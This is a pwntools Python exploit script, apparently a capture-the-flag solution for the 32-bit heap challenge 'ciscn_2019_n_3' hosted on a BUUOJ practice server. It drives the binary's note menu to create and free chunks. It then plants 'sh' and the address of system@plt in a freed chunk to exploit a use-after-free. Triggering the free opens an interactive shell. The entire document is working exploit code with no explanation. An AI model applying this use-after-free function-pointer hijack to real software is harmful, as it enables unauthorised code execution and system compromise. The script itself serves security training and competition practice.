```
from pwn import *
context(log_level='debug',arch='i386',
    terminal=['tmux','sp','-h'])
# p = process(["/glibc/2.27/32/lib/ld-2.27.so", "./ciscn_2019_n_3"], env={"LD_PRELOAD":"/glibc/2
p = remote("node4.buuoj.cn",29582)
elf = ELF("./ciscn_2019_n_3")
#libc = ELF("/glibc/2.27/32/lib/libc.so.6")

def create(id,type,content,length=0):
    p.recvuntil("> ")
    p.sendline('1')
    p.recvuntil("> ")
    p.sendline(str(id))
    p.recvuntil("> ")
    if(type==1):
        p.sendline(str(type))
        p.recvuntil("> ")
        p.sendline(str(content))
    else:
        p.sendline(str(type))
        p.recvuntil("> ")
        p.sendline(str(length))
        p.recvuntil("> ")
        p.send(content)
def free(id):
    p.recvuntil("> ")
    p.sendline('2')
    p.recvuntil("> ")
    p.sendline(str(id))
def show(id):
    p.recvuntil("> ")
    p.sendline('3')
    p.recvuntil("> ")
    p.sendline(str(id))

create(0,1,1)
create(1,1,1)
create(2,1,1)

free(0)
free(1)

payload = b'sh\x00\x00' + p32(elf.plt['system']) + b'\n'
create(3,2,payload,0xc)


# gdb.attach(p,"b *0x08048934")
free(0)
```

```
p.interactive()
```